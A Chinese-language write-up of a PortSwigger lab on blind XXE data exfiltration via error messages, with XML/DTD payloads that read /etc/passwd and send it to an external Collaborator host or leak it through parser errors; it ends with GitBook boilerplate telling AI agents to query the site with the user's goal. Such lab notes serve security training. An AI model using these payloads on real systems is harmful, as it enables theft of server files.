> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/blind-xxe-data-exfiltration-via-error-messages.md).

# 通过错误消息进行 XXE 盲数据过滤

通过错误消息进行 XXE 盲数据过滤笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用盲 XXE 通过错误消息检索数据

实验室：Check stock 功能会分析 XML，但不会直接显示答案。目标是使用外部实体（托管在服务器上的 DTD）触发一个错误，从而显示 `/etc/passwd` 文件在异常消息中的内容。通过强制解析器将文件内容包含到一个不存在的 URI 中，可以让异常泄露这些内容。

* 输入点会解析 XML，但不会正常返回结果。
* 服务器允许包含外部 DTD（托管在利用域上）。
* 解析器的错误消息包含足够的信息，因此如果 DTD 触发了一个格式不良的引用并包含文件内容，这些内容就会出现在异常中。

#### 通过添加一个来加载托管在服务器上的外部 DTD 以进行操作 `DOCTYPE` 指向利用服务器 URL 的语句：

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://qf9v476vsapx2mqf01es1v7cu30xoncc.oastify.com"> %myFile;]>
<stockCheck>
<productId>
2
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d28ea2000ba251a61fc49e4fb6797b6e5e22a7f2%2F%7BB6835883-87A0-49C4-82E3-FC50A3425D1A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

解析器返回类型为：/ 的错误 `XML 解析器因错误退出：org.XML.sax.SAXParseException; systemId: https://qf9v476...; lineNumber: 1; columnNumber: 2; 标记声明...必须格式良好。`

2. 直接尝试列出 `/etc/passwd` （问题：行数太多）：

```xml
<!ENTITY % file SYSTEM "file:////etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://rrmwg8iw4b1yen2gc2qtdwjd64c00qof.oastify.com/?content=%file;'>">
%eval;
%exfil;
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0d515c6967570473060a2657f63eb3fd2a89aaae%2F%7B5B84651A-EFC5-4877-93A0-DD0F6E71C5D3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

3. 结合错误上下文使用的技术——将文件内容插入到一个不可能存在的引用中，以强制解析器在异常中显示：

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

通过触发对 `file:///nonexistent/%file;`的引用，解析器会生成一个包含所包含资源文本的异常（`/etc/passwd`），即使没有正常返回功能，也可以借此外泄内容。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4acbda40ceed09952630432345d7334fe14f25d7%2F%7BE1882B4A-229B-4C50-B42F-AD4ABC5C93B3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xxe/blind-xxe-data-exfiltration-via-error-messages.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
